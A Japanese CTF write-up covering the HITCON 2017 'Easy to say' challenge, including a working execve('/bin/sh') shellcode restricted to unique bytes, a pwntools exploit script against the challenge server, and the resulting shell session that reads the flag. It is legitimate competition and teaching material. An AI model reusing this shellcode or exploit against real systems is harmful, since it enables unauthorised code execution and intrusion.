HITCON CTF 2017 Quals - Easy to say -
開催期間(JST)
11/4 AM11:00 ~ 11/6 AM11:00
結果
・チーム名:wabisabi
・得点:331 pt
・順位:得点したチーム中,145/1078
解いた問題
・Easy to say (Misc 144)
取り組んだが解けなかった問題
・Start (Pwn)
・Re: Easy to say (Misc)
はじめに
HITCONの開始時間がちょうどバイト先のりんご狩りと重なるということがあり,スタートダッシュが切れず.
結局始めたのは19時~から.
最初はpwnのStartからやっていたものの,方針が違うのか全く見当がつかず,miscのEasy to sayに切り替えた.
2日目は起きる時間が16時頃になってしまい,17時頃からEasy to sayを始めた.
そこから10時間くらい,ああじゃないこうじゃないってやってようやく解けたけど,他の問題は解けず...惨敗.
Writeup
Easy to say (Misc)
問題文
Are you good at shellcoding? Warm up! nc 52.69.40.204 8361
解析
$ file easy_to_say-c7dd6cdf484305f7aaac4fa821796871 easy_to_say-c7dd6cdf484305f7aaac4fa821796871: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ebaecbb5f55329380b6476b55253b4ea59d91891, stripped
64bit,strippedなバイナリが与えられ,限られた条件で動くシェルコードをプログラミングする問題.
限られた条件というのは,各バイトそれぞれが重複していない,かつ24バイト以下というもの.
このプログラムは,適当なシェルコードを入力として与えてあげると,それを実行してくれる.
最初困ったのが,gdbでstartするとコアダンプするっていう問題.
$ gdb easy_to_say-c7dd6cdf484305f7aaac4fa821796871 Reading symbols from easy_to_say-c7dd6cdf484305f7aaac4fa821796871...(no debugging symbols found)...done. gdb-peda$ start No unwaited-for children left. zsh: abort (core dumped) gdb -q easy_to_say-c7dd6cdf484305f7aaac4fa821796871
シンボル情報消されていてもステップ実行はできるはずなのに,よくわからない.
結局,runして適当な入力値を与えるとSEGVを起こすので,そこからstartして,あとはひたすらniとsiで探っていった.
すると,
0x555555554990: xor ebp,ebp
が開始アドレスとわかったので,ここら辺にブレークポイントをしかけて解析していく.
0x555555554ddf: call c38 <stdout@@GLIBC_2.2.5-0x2013e8> # input_check(input_value, 0, 0)
入力値チェック的な関数を呼んでいる箇所.
ここから先のルーチンで,入力値が24バイトより大きい場合は24バイトに削り,入力値がユニークではない場合は Invalid input!
を表示するルーチンへ飛ばす.
0x555555554e2b: call rdx
最終的にここでシェルコードを実行するルーチンへ.
ここから先は,全汎用レジスタを初期化した後,入力されたシェルコードを実行するようになっている.
コーディング
一番問題なのは, /bin/sh
という文字列の /
が重複していること.
よって,最初の /
はとあるバイトに置き換えておいて,後でその1バイトのみをxorして元に戻す方針でいく.
.intel_syntax noprefix .global _start _start: mov rbx, 0x68732f6e696203 xor bl, 0x2c pushq rsi pushq rbx pushq rsp popq rdi mov al, 0x3b syscall
コンパイルして機械語のみを取り出す.ももテクさんの記事が参考になる.
$ gcc -nostdlib shellcode.s $ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g > input.txt
gdbにて run < input.txt
をし,正しく実行されていることを確認できたら,exploit.pyに書いていく.
#!/usr/bin/env python from pwn import * context(os="linux", arch="i386") """ 00000000004000d4 <_start>: 4000d4: 48 bb 03 62 69 6e 2f movabs rbx,0x68732f6e696203 4000db: 73 68 00 4000de: 80 f3 2c xor bl,0x2c 4000e1: 56 push rsi 4000e2: 53 push rbx 4000e3: 54 push rsp 4000e4: 5f pop rdi 4000e5: b0 3b mov al,0x3b 4000e7: 0f 05 syscall """ def main(): conn = remote("52.69.40.204", 8361) payload = "\x48\xbb\x03\x62\x69\x6e\x2f\x73\x68\x00\x80\xf3\x2c\x56\x53\x54\x5f\xb0\x3b\x0f\x05" conn.send(payload) conn.interactive() if __name__ == "__main__": main()
$ python exploit.py [+] Opening connection to 52.69.40.204 on port 8361: Done [*] Switching to interactive mode Give me your code :Run ! $ ls -la total 72 drwxr-xr-x 1 root root 4096 Nov 1 06:36 . drwxr-xr-x 1 root root 4096 Nov 1 06:36 .. -rwxr-xr-x 1 root root 0 Nov 1 06:36 .dockerenv drwxr-xr-x 2 root root 4096 Sep 15 08:42 bin drwxr-xr-x 2 root root 4096 Apr 10 2017 boot drwxr-xr-x 5 root root 340 Nov 4 04:40 dev drwxr-xr-x 1 root root 4096 Nov 1 06:36 etc drwxr-xr-x 1 root root 4096 Nov 1 06:36 home drwxr-xr-x 1 root root 4096 Feb 16 2017 lib drwxr-xr-x 2 root root 4096 Sep 15 08:42 lib64 drwxr-xr-x 2 root root 4096 Sep 15 08:42 media drwxr-xr-x 2 root root 4096 Sep 15 08:42 mnt drwxr-xr-x 2 root root 4096 Sep 15 08:42 opt dr-xr-xr-x 125 root root 0 Nov 4 04:40 proc drwx------ 2 root root 4096 Sep 15 08:42 root drwxrwxr-- 1 root root 4096 Sep 18 23:31 run drwxr-xr-x 1 root root 4096 Sep 18 23:31 sbin drwxr-xr-x 2 root root 4096 Sep 15 08:42 srv dr-xr-xr-x 13 root root 0 Nov 4 06:16 sys drwxr-xr-- 2 easy_to_say easy_to_say 4096 Oct 23 19:14 tmp drwxr-xr-x 1 root root 4096 Sep 15 08:42 usr drwxr-xr-x 1 root root 4096 Sep 15 08:42 var $ cd home $ ls -la total 12 drwxr-xr-x 1 root root 4096 Nov 1 06:36 . drwxr-xr-x 1 root root 4096 Nov 1 06:36 .. drwxr-xr-x 2 easy_to_say easy_to_say 4096 Nov 1 06:35 easy_to_say $ cd easy_to_say $ ls -la total 28 drwxr-xr-x 2 easy_to_say easy_to_say 4096 Nov 1 06:35 . drwxr-xr-x 1 root root 4096 Nov 1 06:36 .. -rwxr-xr-x 1 easy_to_say easy_to_say 10232 Nov 1 06:35 easy_to_say -rw-r--r-- 1 easy_to_say easy_to_say 43 Nov 1 06:35 flag -rwxr--r-- 1 easy_to_say easy_to_say 72 Nov 1 06:35 run.sh $ cat flag hitcon{sh3llc0d1n9_1s_4_b4by_ch4ll3n93_4u}
プロはすぐbabyっていう.
取り組んだが解けなかった問題
Start (Pwn)
問題文
Have you tried pwntools-ruby? nc 54.65.72.116 31337
server.rbがリモートで動いていて,与えられたrubyのコードをevalしてくれる.
また,同一ホスト内の31338ポートではstartというバイナリが動いていて,これは入力値をそのまま表示するだけ(?).10秒間でタイムアウトする.
server.rbに,Dirとかいろいろいい感じに使って,ローカルのファイルを読み出せたりはしたんだけど,フラグがどこにも見当たらない.
そもそも,それだとstartが別ポートで動いている必要がないし,やっぱりstartの脆弱性を何らかの方法で突くのかなと思い,やってみるも,どういう脆弱性が存在しているのかさっぱりわからず.
Re: Easy to say (Misc)
問題文
I think you can do better! nc 13.112.180.65 8361
Easy to sayのバイト数制限が8バイトverっていう激辛シェルコーディング問題.
無理だった.
まとめ
こうしてwriteupを書いていると解法は自明に思えてくるけど,解いている時は以外と思いつかず,REXプレフィックスに悩まされたり,xor ebx, ebx
と xor bx, bx
では挙動が違うことに悩まされたり.( xor bx, bx
だとRBXの下位2バイトだけいい感じに変化してくれるのに, xor ebx, ebx
だと,その結果が丸々RBXとなってしまう.同様に xor bl, bl
では下位1バイトだけ変更できる)
Rev問が1つも解けてないのが痛すぎる.
そろそろ,そこそこ難しい問題も解けるようになる必要がありそう.